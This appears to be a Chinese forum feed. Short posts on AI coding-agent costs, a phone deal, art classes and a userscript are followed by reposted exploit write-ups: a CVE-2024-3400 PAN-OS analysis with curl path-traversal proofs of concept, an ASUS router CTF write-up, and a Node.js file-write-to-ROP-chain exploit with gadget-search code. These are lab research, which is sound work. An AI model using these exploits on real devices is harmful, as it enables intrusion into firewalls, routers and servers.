2026年1月

现在 Agent 的写代码的成本不低啊

作者: 纯情
时间: 2026-01-25
分类: 资讯
评论

claude-4.5-sonnet
3.3M
US$1.51

composer-1
622.7K
US$0.22

grok-code-fast-1
536.5K
US$0.02

上面是最近的 3 次 agent request

cursor 起步价一次 Request 0.01$折合接近 1 毛钱

常简单的任务我只敢用那个最便宜经济实惠的 grok-code-fast-1, 每次差不多 0.02-0.1$左右

稍复杂的用 composer-1, 一次至少 0.1$起步

复杂任务 Sonnet 4.5 基本上一次在 1$上下

Opus 4.5 在 Sonnet 4.5 应该要再上浮 50%

像我这种这么克制地用, 精打细算的那种, 估计 20$也很难撑到一个月

天猫 iPhoneAir 立减 2000，256Gb 到手价 5499

作者: 纯情
时间: 2026-01-25
分类: 资讯
评论

「苹果天猫官方旗舰店开启新年优惠活动，其中 iPhone Air 价格引发大量关注。iPhone Air 国行原价是 7999 元，这次活动官方立减 2000 元，售价只要 5999 元起。在部分地区，这个价格刚好进入国补范围内，叠加 500 元补贴之后，最终到手价只要 5499 元起。」

看来这款手机是真不好卖啊
各位的手机用多久了，近期有打算换吗

可以去报班学习的疑惑

作者: 纯情
时间: 2026-01-25
分类:
评论

想问一下各位网友，本人没有任何美术基础，能报魔灯的培训报学习吗？目前在职，工作也挺忙（跟游戏没什么关系），也有家庭，想着报个班快速入门，报魔灯是否靠谱？摩灯的受众都是有基础的才能报吗？顺便想了解一下有网友报过魔灯吗？最好详细讲一讲。

【💰】2Libra Plus - 专为 2Libra.com 打造的增强工具，旨在提升日常使用的效率与体验

作者: 纯情
时间: 2026-01-25
分类: 开源
评论

周五了，利用摸鱼时间为 2Libra 打造了新的油猴脚本 - 2Libra Plus。

✨ 主要功能

1. 通知中心增强

未读消息高亮：自动检测通知列表中的未读条目，并在左侧添加醒目的橙色竖线标记，帮助你快速定位未处理的通知。
自动已读（可选）：支持进入通知页后自动将当前页消息标记为已读，减少重复点击操作（默认开启，可在设置中关闭）。

screencapture

2. 主题列表增强

回复时间颜色渐变：根据你上次在首页查看时间，将最新回复显示得更醒目，较久之前的回复颜色更浅，帮助你一眼区分「最近更新」和「很久没动」的帖子。为了避免频繁刷新带来的视觉抖动，「上次查看时间」在 5 分钟内不会更新；最新回复会使用 --color-primary 颜色展示，更加醒目。

screencapture

3. 个性化设置

提供可视化的设置面板，可随时开启或关闭特定功能，按需定制你的使用体验。

!. 还会有更多功能...

⬇️ 安装方法

安装地址： Greasy Fork · ScriptCat
环境要求：需要安装油猴脚本管理器（如 Tampermonkey 、 Violentmonkey 、 ScriptCat ）。

建议反馈

大家如有需要的功能，尽管提，觉得有用我会考虑加进去。

CVE-2024-3400 Palo Alto Networks PAN-OS命令注入漏洞

作者: 纯情
时间: 2026-01-25
分类:
评论

CVE-2024-3400 Palo Alto Networks PAN-OS命令注入漏洞

Swing

2024-04-18

CVE-2024-3400

…

TL; DR

4月12日的是看到 paloaltonetworks 有一个安全公告^[1], CVE编号是 CVE-2024-3400，漏洞是一个命令注入，影响的版本如下：

然后在复现的过程中发现 watchTowr Labs^[2] 已经发了他们的分析，那就顺着他们的分析学习下这洞吧，这里提下我的复现版本为 10.2.9

环境搭建

由于漏洞公告^[1]提到，该漏洞的影响需要 PAN-OS 配置 GlobalProtect portal 或者 GlobalProtect gateway，所以我们需要先完整的搭建下我们的环境。

简单说下配置的流程，我这里的配置是参考 QWB S6 Final Pan 这个题目的环境配置的（亏我还能找到这个题目的虚拟机），另外提一句当时强网杯利用的 CVE-2021-3064 这个漏洞还是蛮有意思的。

首先，我的虚拟机有三个网卡，

网卡1是管理口，网卡2准备用来做门户和网关的网段，我这里用的网段是 192.168.100.1/24 。登陆到管理口的后台后，依次设置

NETWORK->接口 设置以太网接口，接口类型设置为 3层，设置 IPV4 的静态 IP

DEVICE->证书管理->证书，生成 RootCert 再基于 RootCert 派发一个 gp_cer

DEVICE->证书管理-> SSL/TLS 服务配置文件 依据 gp_cert 配置 SSL_PROFILE

然后到 NETWORK->GlobalProtect->门户 配置门户，中间可能少了一点东西，这里贴一下我的配置项，缺什么补什么就好了

NETWORK->GlobalProtect->网关 网关配置是也是差不多

然后现在在另外一台虚拟机里，也设置上同样的 192.168.100.1/24 网段的网卡，就可以访问到门户了

由于没有所谓的设备证书，此次漏洞能命令执行提到的 telemetry 功能是不可用状态

访问 https://192.168.1.101/ssl-vpn/hipreport.esp 就是 https://192.168.1.101/ssl-vpn/hipreport.esp 的返回

shell 和文件系统的获取直接用了当时 QWB时候 Larryxi^[3] 大哥提供的方法

patch vmem获取本地shell
- sed -i "s/\/usr\/local\/bin\/cli/\/\/\/\/\/\/\/\/\/\/\/\/bin\/sh/g" PA1029-9aad9851.vmem
- sed -i "s/admin:x:1001:1004/admin:x:0000:0000/g" PA1029-9aad9851.vmem

查看固件内容方式，挂载 vmdk 就行
j

1
2
3

sudo modprobe nbd
sudo qemu-nbd -c /dev/nbd1 /mnt/hgfs/qwb-final/PA-disk1.vmdk
sudo mount /dev/nbd1p2 /mnt/panos/

这样就可以 admin 用户登陆之后是一个 root 权限的 shell ，之后调试之类的也可使用 ssh 登陆

漏洞分析

在^[1] 文章就已经提到了漏洞的触发路径，首先是 gpsvc 文件在处理 Cookie 字段的时候会有一个任意文件写，其次是 telemetry 功能的定时任务 device_telemetry_send 会用 /usr/local/bin/dt_send 发送数据的时候会拼接文件名到命令中，造成命令注入。

我们依次简单分析下

gpsvc 任意文件写分析

通过 netstat 命令，我们可以看到 gpsvc 监听在 20277 端口上，

在查看 /etc/nginx/sslvpn/localtion.conf 的配置文件中，我们看到如下配置

可以看到 ssl-vpn 相关的部分接口为通过 nginx 代理转发到 20177 端口，就是 gpsvc 程序里处理。

逆向分析

我们把程序拿出来分析，坏消息是这个程序是 golang 编写的，好像是有符号，而且我们已经知道了漏洞大致位置，可以通过直接找到 main__ptr_SessDiskStore_New 函数

我们在这个函数里可以看到一个通过 Cookie 里的值然后拼接文件名的操作，

比如我们在 146 行下一个断点，然后使用如下 PoC 触发：

curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 158' \
-b $'SESSID=/../../../tmp/hacked' \
--data-binary $'user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr' \
$'https://192.168.1.101/ssl-vpn/hipreport.esp'

到达main__ptr_SessDiskStore_New 函数的backtrace如下：

(gdb) bt
#0  main.(*SessDiskStore).New (s=0xc000821800, r=0xc00260f400, name=..., ~r2=0x0, ~r3=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_session.go:103
#1  0x0000000000a472c3 in github.com/gorilla/sessions.(*Registry).Get (s=0xc00c1a6a60, store=..., name=..., session=0x0, err=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/3p/pkg/mod/github.com/gorilla/sessions@v1.2.1/sessions.go:139
#2  0x0000000000aee55d in main.(*SessDiskStore).Get (s=0xc000821800, r=0xc00260f400, name=..., ~r2=0x0, ~r3=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_session.go:87
#3  0x0000000000af606a in main.(*GpTask).initHttp (t=0xc00725eb00, r=0xc00260f400, ~r1=...)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_task.go:442
#4  0x0000000000afd0a9 in main.(*GpTask).RunHttp (t=0xc00725eb00, w=..., r=0xc00260f400, ~r2=false)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_task.go:802
#5  0x0000000000b10b48 in main.(*GpTaskMgmt).MainHttpEntry (tm=0xc000870000, w=..., r=0xc00260f300)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_taskmgmt.go:450
#6  0x0000000000b3aadd in main.(*GpTaskMgmt).MainHttpEntry-fm (w=..., r=0xc00260f300)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/apps/pan_gpsvc_taskmgmt.go:406
#7  0x0000000000867f74 in net/http.HandlerFunc.ServeHTTP (f={void (net/http.ResponseWriter, net/http.Request *)} 0xc00c2077a8, w=..., r=0xc00260f300)
at /usr/local/go/src/net/http/server.go:2036
#8  0x0000000000a78e56 in github.com/gorilla/mux.(*Router).ServeHTTP (r=0xc0006c20c0, w=..., req=0xc00260f300)
at /opt/build/bamboo-agent-home-3/xml-data/build-dir/LA-GPSVC131-JOB1/build/src/3p/pkg/mod/github.com/gorilla/mux@v1.7.4/mux.go:210
#9  0x000000000086c7df in net/http.serverHandler.ServeHTTP (sh=..., rw=..., req=0xc00260f100) at /usr/local/go/src/net/http/server.go:2831
#10 0x0000000000866f1a in net/http.(*conn).serve (c=0xc0081981e0, ctx=...) at /usr/local/go/src/net/http/server.go:1919
#11 0x0000000000467411 in runtime.goexit () at /usr/local/go/src/runtime/asm_amd64.s:1357
#12 0x000000c0081981e0 in ?? ()
#13 0x0000000000d79060 in ?? ()
#14 0x000000c00c150680 in ?? ()
#15 0x0000000000000000 in ?? ()
(gdb)

此时可以看到 $rdi->array 存储了我们的 payload 的相关字符： session_/../../../tmp/hacked，我们单步走一步走到调用main_loadSessFile 函数的位置

(分析到这，我突然反应过来他是golang 是旧版本的 api 调用，搜了下字符串可以知道他的 golang 版本是 1.13.15)

1	.rodata:0000000000C956F6 aGo11315 db 'go1.13.15'

可以看到 /../ 相关字符被path_filepath_Join函数处理后已经被去除了，问题来了，是在哪创建的的文件呢？

我们找到 syscall_Open 函数，对其进行引用查找，找到一条这样的调用链

1	main_loadSessFile->main_fileLock->syscall_Open

而此时 main_loadSessFile 的参数就是我们想要创建的文件

open 的定义为 int open(const char *pathname, int flags, mode_t mode); 第二个参数是个 flags，当值为 0x40 的时候为 O_CREAT

O_CREAT 定义位于 fcntl.h 文件中，可以在 linux 的内核代码^[4]中看到,

#define O_ACCMODE	00000003
#define O_RDONLY	00000000
#define O_WRONLY	00000001
#define O_RDWR		00000002
#ifndef O_CREAT
#define O_CREAT		00000100	/* not fcntl */

O_CREAT 的值通常是 0100，这是一个八进制表示的值，等同于十进制的 64 ，十六进制的 0x40，通过查找相关资料^[5]

发现只有文件不存在的时候才会创建文件。

例如使用如下 payload 尝试创建 /etc/passwd 的时候

curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 158' \
-b $'SESSID=/../../../etc/passwd' \
--data-binary $'user=watchTowr&portal=watchTowr&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=watchTowr&computer=watchTowr&client-ip=watchTowr&client-ipv6=watchTowr&md5-sum=watchTowr&gwHipReportCheck=watchTowr' \
$'https://192.168.1.101/ssl-vpn/hipreport.esp'

可以看到 open 是返回了 0

这个漏洞会创建一个任意路径、文件名可控的文件（不能覆盖文件）。那么攻击者是如何将这么一个漏洞再组合成一个命令执行的呢？这就得提到 telemetry 功能了

telemetry 命令文件分析

根据官网 ^[5] 的介绍，该功能是一个定时发送数据到远端的一个功能, 在环境搭建提到的该功能开启需要一个设备证书，我目前的复现环境是不支持的。只能分析分析功能了

在 /etc/cron.d 可以看到很多和 telemetry 相关的定时任务

其中 /usr/local/bin/dt_send 看起来是用来发送数据的

该程序由 python 编写，可以看到简单判断了下功能是不是开启，然后调用 check_and_send 函数

check_and_send 函数会接着调用 send_file_dirs_all

可以看到 send_file_dirs_all 函数会遍历 DEFAULT_DEVTELEM_OUTPUT_DIR 下的文件，然后再调用 send_file_dir

而在 send_file_dir 函数中，用 send_file 函数

在 send_file 函数中，会将文件名拼接到 send_file_cmd 遍历中

接着调用 cmd_status = techsupport.dosys(send_file_cmd, None) ，运行 dt_curl 命令，该命令也是一个 python 程序，

dt_curl 里会调用 send_file 函数

在该函数中就拼接命令，使用 pansys(curl_cmd, shell=True, timeout=250) 函数调用，注意这里的 shell=True

这里最后调用到 /opt/plugins/2.0/python-lib/pan/pansys/pansys.py 文件中的 dosys

可以看到这里的shell参数默认是 False 的但是由于send_file 调用的是传递进来设置了成了 True, 因此可以命令注入。

Diff Patch

新增了个 seesion 检查函数？

从日志可以可以看到似乎加了检查 {"level":"error","task":"3-22","time":"2024-04-20T06:28:12.18264473-07:00","message":"ArgFilterCheck: authcookie input is invalid"}

刚好也是这个补丁加的样子，从编译路径来看

(gdb) bt
#0  main.(*GpTask).ArgFilterCheck (t=0xc000093080, filterName=..., argName=..., value=..., ~r3=9)
at /opt/build/workspace/NOMAD/89c94875/workspace/ations_gpsvc_hotfix_10.2.9-hf-ga/src/apps/pan_gpsvc_task.go:615
#1  0x0000000000afb593 in main.(*GpTask).ArgFilterCheckUser (t=0xc000093080, value=..., ~r1=0)

修复了 shell=True 的问题

思考

一个空文件创建到命令执行，想必这个攻击者估计找这个功能了找了不少时间吧，此外该漏洞的利用目前需要开启telemetry 功能，那么是否还有可以利用这个空文件创建的地方呢？这么大的一个系统也许还有吧，有时间可以在仔细看看

Reference link

1.CVE-2024-3400 https://security.paloaltonetworks.com/CVE-2024-3400↩
2.palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400 https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/↩
3.Larryxi blog https://aslr.io/about/↩
4.fcntl.h#24 https://elixir.bootlin.com/linux/latest/source/include/uapi/asm-generic/fcntl.h#L24↩
5.device-telemetry-overview https://docs.paloaltonetworks.com/pan-os/11-0/pan-os-admin/device-telemetry/device-telemetry-overview↩

Real World CTF 6th Router4 writeup

作者: 纯情
时间: 2026-01-25
分类:
评论

Real World CTF 6th Router4 writeup

Swing

2024-05-30

Writeup

ASUS, CVE-2024-3079, CVE-2024-3080

…

前言

这次 RWCTF 就准备了一个题目: 「Router4」, 一共有三个队伍在比赛期间做了出来，题目的附件和题目介绍可以从Real-World-CTF-6th-Challenges^[1]这个仓库看到。

题目的场景就是一个 ASUS 路由器开放了 wan 的服务后（ lighttpd），该服务会默认监听在 443 端口上。题目环境是以 ASUS RT-AC68U的固件版本为 3.0.0.4.386.51665为基底进行模拟的。

在比赛结束后，我将涉及的漏洞上报给了 ASUS 官方，然后获得了两个 CVE 编号，分别是CVE-2024-3079和CVE-2024-3080。同时也将部分非预期的情况告诉选手，让选手也提前将非预期的漏洞上报给官方。

漏洞细节

Stack Overflow

在 ASUS 的 lighttpd 上其实是存在多个缓冲区溢出漏洞的，这里列举几个比赛前和比赛后发现的。

lighttpd cookie 处栈溢出，直接通过 strncpy 拼接 cookie的值，其中 tmp-used 就是 cookie 值的长度

mod_aicloud_auth.so 解析 uri 处栈溢出，直接从 ? 后取字符串，然后也是通过 strncpy拼接字符串，长度可控

replace_str 函数栈溢出

replace_str 函数中没有检查长度，直接通过 sprintf 写入 buffer 中，因此可以造成栈溢出

char *replace_str(char *st, char *orig, char *repl, char* buff){
char *ch;
if (!(ch = strstr(st, orig)))
return st;
strncpy(buff, st, ch-st);
buff[ch-st] = 0;
sprintf(buff+(ch-st), "%s%s", repl, ch+strlen(orig));

return buff;
}

通过查看调用链，可以看到 change_webdav_file_path 调用了 replace_str 函数

从 mod_webdav.so 的二进制看就是， sub_7e60 函数传入了 buffer 这个参数，

然后在 sub_7e60 函数中调用了 replace_str 函数，我们已经知道 replace_str 函数是直接通过 sprintf拼接字符串，没有检查，因此存在栈溢出

Infor Leak

其实预期解应该是选手还需要通过某个漏洞在实现泄漏 libc 信息，但是实际上发现解决题目的其中两个队伍 BlueWater和 Kalmarunionen都用了爆破 libc的方法（因为32位，只有4096的随机概率)，失误了 orz

在固件的逆向和代码审计的过程中，我们发现一个 sql 注入的存在，后面在上报漏洞给官方的时候才知道这个漏洞其实是之前就有人上报过了，编号为 CVE-2023-35720^[2]

在 mod_webdav.so 中，程序会从 HTTP 消息的 Header根据关键词取值，

例如从 header 中取出 Keyword ，之后在 2186 行处有一次判断值是否合法的代码，如果值不合法则HTTP返回 207

这里判断了是否为空、是否存在 ' 单引号，如果合法后续会拼接到 sql 语句中执行。

这里我们注意到一个地方，在拼接之前会进行一次 urldecode，此时我们显然很容易就会发现问题所在了，我们可以通过 url 编码来绕过程序对 '单引号的检查，在后续拼接 sql 语句来达到 sql 注入的效果。

另外一个问题来了，我们这个标题不是说信息泄漏吗？sql注入怎么达到信息泄漏呢？该组件sql数据库使用的是 sqlite3，在 sqlite3 中有一个可以用来地址泄漏的方法, 在2017年长亭的特性还是漏洞？滥用 SQLite 分词器) ^[3]文章中有详细说明。

我们直接诶引用下原文说明下原理，SQLite3 中注册自定义分词器用到的函数是 fts3_tokenizer，实现代码位于 ext/fts3/fts3_tokenizer.c 的 scalarFunc 函数。支持两种调用方式：

1 2	SELECT fts3_tokenizer(<tokenizer-name>); SELECT fts3_tokenizer(<tokenizer-name>, <sqlite3_tokenizer_module ptr>);

当只提供一个参数的时候，该函数返回指定名字的分词器的 sqlite3_tokenizer_module 结构体指针，以 blob 类型表示。例如在 sqlite3 控制台中输入：

1	sqlite> select hex(fts3_tokenizer('simple'));

将会返回一个以大端序 16 进制表示的内存地址，可以用来检查特定名称的分词器是否已注册。这个指针指向一个 sqlite3_tokenizer_module 结构体。

函数的第二个可选参数用以注册新的分词器，只要执行如下 SQL 查询，即可注册一个名为 mytokenizer 的分词器：

1	sqlite> select fts3_tokenizer('mytokenizer', x'0xdeadbeefdeadbeef');

根据文章 2.1 基地址泄漏 小节中说明的，只提供一个参数执行 select fts3_tokenizer(name)，如果 name 是一个已经注册过的分词器，将会返回这个分词器对应的内存地址。在 fts3.c 中可以看到 SQLite3 默认注册了内置分词器 simple 和 porter：

1 2	if( sqlite3Fts2HashInsert(pHash, "simple", 7, (void )pSimple) \|\| sqlite3Fts2HashInsert(pHash, "porter", 7, (void )pPorter)

以 simple 分词器为例，其注册的指针指向静态区的 simpleTokenizerModule。

static const sqlite3_tokenizer_module simpleTokenizerModule = {
0,
simpleCreate,
simpleDestroy,
simpleOpen,
simpleClose,
simpleNext,
};

通过获得这个指针，即可通过简单的计算获得 libsqlite3.so 的基地址，从而绕过 ASLR。

因此接合上面的sql注入，我们就可以拿到泄漏的地址

认证绕过

在检查路由的时候，代码如下

检查路由的时候判断是不是 /smb/ 但是忽略了，如果是 /smb 则可以绕过授权

一个好玩的非预期

前文提到了这个题目有三个队伍做出来了，其中BlueWater和 Kalmarunionen是通过栈溢出 + 爆破 libc 解决题目的，另外一个队伍用了一个比较有趣的非预期，这个队伍就是 Friendly Maltese Citizens

前面提到了该服务存在 sql 注入漏洞，他们发现 smb 的 GETMUSICCLASSIFICATION 方法存在 get_album_cover_image函数可以用来加载文件内容并且泄漏。于是他们用 sql 注入将 flag 的路径写到 album表中，然后直接通过下面的方法预览

await fetch("/RWCTF", {
"headers": {
"classify": "album",
},
"body": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\" ?><D:propfind xmlns:D=\"DAV:\"><D:prop><D:getlastmodified/><D:getcontentlength/><D:getcontenttype/><D:getmatadata/></D:prop></D:propfind>",
"method": "GETMUSICCLASSIFICATION"
}).then(a => a.text())

参考链接

1.Router challenge attachment https://github.com/chaitin/Real-World-CTF-6th-Challenges/tree/main/Router4↩
2.CVE-2023-35720 lighttpd mod_webdav.so SQL Injection Information Disclosure Vulnerabilityhttps://www.zerodayinitiative.com/advisories/ZDI-23-1166/↩
3.特性还是漏洞？滥用 SQLite 分词器 https://blog.chaitin.cn/abusing_fts3_tokenizer/↩

Exploiting File Writes in Hardened Node.js Environments

作者: 纯情
时间: 2026-01-25
分类:
评论

Exploiting File Writes in Hardened Node.js Environments

Swing

2024-10-15

libuv, nodejs

…

TL; DR

在 Hexacon 2024 上关注到了这么一个议题《Exploiting File Writes in Hardened Environments - From HTTP Request to ROP Chain in Node.js 》，同时该作者发了一个简单的 Blog 讲述了下这个原理以及部分细节。^[1] 这里简单快速复现一下。

环境

const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();

app.use(express.json());

app.post('/upload', (req, res) => {
const { filename, content } = req.body;

if (!filename || !content) {
return res.status(400).json({ message: 'Filename and content are required!' });
}

const filePath = path.join(__dirname, 'uploads', filename);

fs.writeFile(filePath, content, (err) => {
if (err) {
return res.status(500).json({ message: 'Error saving file!' });
}
res.json({ message: 'File uploaded successfully!', path: filePath });
});
});

app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});

按照文章的描述，我们先随便构造一个可以任意文件写的 nodejs 服务（在假设环境是readonly 的情况下）

Exploit

按照文章的描述， nodejs 使用了 libuv 的这么一个库，这个库在初始化的时候会的打开一个 Pipe 管道，作者通过审计的时候发现有一个函数 uv__signal_event ^[2]

static void uv__signal_event(uv_loop_t* loop,
uv__io_t* w,
unsigned int events){
uv__signal_msg_t* msg;
uv_signal_t* handle;
char buf[sizeof(uv__signal_msg_t) * 32];
size_t bytes, end, i;
int r;

bytes = 0;
end = 0;

do {
r = read(loop->signal_pipefd[0], buf + bytes, sizeof(buf) - bytes);

if (r == -1 && errno == EINTR)
continue;
...
/* `end` is rounded down to a multiple of sizeof(uv__signal_msg_t). */
end = (bytes / sizeof(uv__signal_msg_t)) * sizeof(uv__signal_msg_t);

for (i = 0; i < end; i += sizeof(uv__signal_msg_t)) {
msg = (uv__signal_msg_t*) (buf + i);
handle = msg->handle;

if (msg->signum == handle->signum) {
assert(!(handle->flags & UV_HANDLE_CLOSING));
handle->signal_cb(handle, handle->signum); // callback
}

handle->dispatched_signals++;

if (handle->flags & UV_SIGNAL_ONE_SHOT)
uv__signal_stop(handle);
}

在这个函数中，从 loop->signal_pipefd[0] 读内容，然后做一个 signum检查，就会使用传过来的数据解引用出来一个函数指针，然后直接调用

handle = msg->handle;

if (msg->signum == handle->signum) {
assert(!(handle->flags & UV_HANDLE_CLOSING));
handle->signal_cb(handle, handle->signum); // callback
}

uv__signal_msg_t数据结构仅包含两个成员，一个句柄指针和一个称为signum的整数：

typedef struct {
uv_signal_t* handle;
int signum;
} uv__signal_msg_t;

在这个 Pipe 是可 uv__make_pipe 函数创建的，在 Docker 容器中是fd 为 11 的描述符

当然这个fd num 值更好的判断就是下一个断点，然后简单通过 echo 发点数据就能确认（不要在真实机器上测试，会把一些 lib 写坏掉）

Overview Data Structure

对于我们来说，我们有一个任意文件写入的方法，我们通过这个方法往 Pipe 中写入我们构造的数据，我们要构造的数据如上

发送过来的数据包含两个部分，一个是 *handle 指针，和 signum，其中 *handle 指针指向的数据包含两个部分

signal_cb
signum

我们要构造 uv_signal_msg_t 的 signum 和 uv_signal_s 结构体中的 signum 相等，才会调用 signal_cb ，并且，由于我们构造的这个场景是通过 fs.writeFile 函数写入内容的

用于写入文件的函数（本例中为 fs.writeFile）仅限于有效的 UTF-8 数据。因此，写入管道的所有数据都必须是有效的 UTF-8。

如果满足上述条件，我们就可以劫持程序流，控制程序执行到我们想要的地方

Searching Data Structure Gadgets

由于 FROM node:18@sha256:f910225c96b0f77b0149f350a3184568a9ba6cddba2a7c7805cc125a50591605 我们这个方式拉取的 node 程序本身是没有开PIE的

osboxes@osboxes:~$ checksec node
[*] '/home/osboxes/node'
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No
Debuginfo:  Yes

因此我们可以尝试在 node 程序中尝试找合适的 gadget。我考虑到如果程序起来只有可能会有一些数据写在 bss 或者 data 段上，因此我 search 的范围是将程序正常启动，然后 dump memory

由于执行到 signal_cb 的时候，此时场景如下：

我们仅仅需要找几个 pop xxx , pop xxx, .* ret 的 gadget 就行，那么代码思路如下：

for addr, length in segments:
for offset in range(length-4):
handle = addr + offset
if not is_valid_utf8(p64(handle-0x60)):
continue
signum = read_mem(handle+8, 4)
if not is_valid_utf8(signum):
continue
ptr = read_mem(handle, 8)
data = read_mem(u64(ptr), 30)
if data is None:
continue
out =  disasm(data, arch='amd64', byte=False, offset=False)
if is_useful_gadget(out):
print('handle',hex(handle), '->', 'ptr:', u64(ptr), 'signum', hex(u32(signum)))
print(out)

首先从头开始遍历，由于调用的callback 指针是从 handle+60h 获取的，因此我们第一个要校验的 *handle 是要减去 0x60 的，然后从 handle + 8 后取 4个字节，作为signum ，判断这两者是否都符合 utf-8 编码，如果是将这个指针读出来，接着读取这个指针的指向的gadget ，这里假设 depth 为 30 ，然后尝试去反汇编，然后判断这个 gadget 是不是符合 pop xxx , ret 的形式，如果是将这些值打印出来。

我这里没有做更细致的处理，打印出来的 gadget 可能比较丑，大概长这样

很幸运的是，我的第一个 gadget 就是满足的，且适合我用来做栈迁移的


root@osboxes:/home/osboxes# python3 search.py
handle 0x4261af -> ptr: 12048128(0xB7D700) signum 0xb7d900
pop    r12
pop    r13
pop    r14
pop    r15
pop    rbp
ret

那么此时我构造出来的数据就大致长这样

uv_signal_msg_t.
....
*handle (0x4261af) -------->   uv_signal_s
signum (0xb7d900).               ...

*signal_cb(0xB7D700) : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
signum (0xb7d900)
...

1 2	content = p64(0x4261af - 0x60) # handle content += p64(0xb7d900) # signum

这里贴下我完整的 search 脚本

#!/usr/bin/env python3
from pwn import *

def is_valid_utf8(byte_seq):
try:
byte_seq.decode('utf-8')
return True
except UnicodeDecodeError:
return False


def read_mem(addr, size):
if 0x0000000000400000< addr< 0x0000000004ff1000:
base = 0x0000000000400000
data = mem1[addr-base: addr+size-base]
elif 0x00000000051f1000 < addr < 0x00000000051f4000:
base = 0x00000000051f1000
data = mem2[addr-base: addr+size-base]
elif 0x00000000051f4000 < addr < 0x000000000520f000:
base = 0x00000000051f4000
data = mem3[addr-base: addr+size-base]
else:
return None
return data

def is_useful_gadget(out):
dis_list = out.split('\n')
for n, x in enumerate(dis_list):
if x == 'ret':
for _ in range(0, n):
if 'bad' in dis_list[_] :
return False
return True
return False

with open("mem1", "rb") as f:
mem1 = f.read()

with open("mem2", "rb") as f:
mem2 = f.read()

with open("mem3", "rb") as f:
mem3 = f.read()

segments = [(0x0000000000400000, 0x0000000004ff1000-0x0000000000400000), (0x00000000051f1000, 0x00000000051f4000-0x00000000051f1000), (0x00000000051f4000, 0x000000000520f000-0x00000000051f4000)]


for addr, length in segments:
for offset in range(length-4):
handle = addr + offset
if not is_valid_utf8(p64(handle-0x60)):
continue
signum = read_mem(handle+8, 4)
if not is_valid_utf8(signum):
continue
ptr = read_mem(handle, 8)
data = read_mem(u64(ptr), 30)
if data is None:
continue
out =  disasm(data, arch='amd64', byte=False, offset=False)
if is_useful_gadget(out):
print('handle',hex(handle), '->', 'ptr:', u64(ptr), 'signum', hex(u32(signum)))
print(out)

ROP Chain

当能栈迁移后，后面就是拼接 ROP chain的流程了，由于程序本身没有 system 、 popen 等函数的调用，所以我没有法直接 ret2text，我将我的思路简单定成如下：

找到一个 gadget 能从任意地址读取值，然后赋值到某个寄存器上
找到一个gadget 能对可控的寄存器进行加减法运算
找到一个 libc 函数，该函数与 system 的偏移满足 UTF-8 编码

首先通过 ROPchain 将所有可能能用的 gadget 输出成一个文件，然后重新过滤下看哪些地址是符合 utf-8

from pwn import *
def is_valid_utf8(byte_seq):
try:
byte_seq.decode('utf-8')
return True
except UnicodeDecodeError:
return False

lines = [ line.replace('\n','') for line in open('./gadgets','r').readlines()]
lines = list(filter(lambda line: ' : ' in line , lines))
lines = list(map(lambda line: line.split(' : '),lines))


result = list(filter(lambda l: is_valid_utf8(p64(int(l[0],16))),lines ))
for i in result:
print(i[0],' : ',i[1])

通过这个过滤，我找到了两条 gadget

1 2	0x0000000001097367 : add rax, rdx ; ret 0x0000000002176b34 : mov rax, qword ptr [rsi] ; ret

第i三个 libc 函数，我找到的是， setegid ，它与system的偏移为 0xb1f30 符合 UTF-8

通过组合我们构造出如下 ropchain

content  = p64(0x4261af - 0x60) + p64(0xb7d900)
content += p64(pop_rdx_ret)
content += p64(0x100)
content += p64(add_rax_rdx_ret)
content += p64(pop_rdx_ret)
content += p64(pop_rsi_ret) # next gadget
content += p64(mov_rdi_rax_pop_rbp_jump_rdx)
content += b'aaaaaaaa' # junk data
content += p64(setegid_got) #
content += p64(mov_rax_qword_ptr_rsi_ret)
content += p64(pop_rdx_ret)
content += p64(0xb1f30) # setegid libc offset -> system
content += p64(sub_rax_rdx_ret)
content += p64(0x0000000003adace7) # jmp rax
content += b'a'*0x100 + b'; touch /tmp/hacked ; '

最后就可以执行任意命令了

完整 exploit

from pwn import *
import json
import requests
from urllib.parse import quote

# control rip
#content = p64(0x4261af - 0x60) + p64(0xb7d900) + b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'


content = p64(0x4261af - 0x60) + p64(0xb7d900) + b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'


pop_rdi_ret = 0x0000000000427748
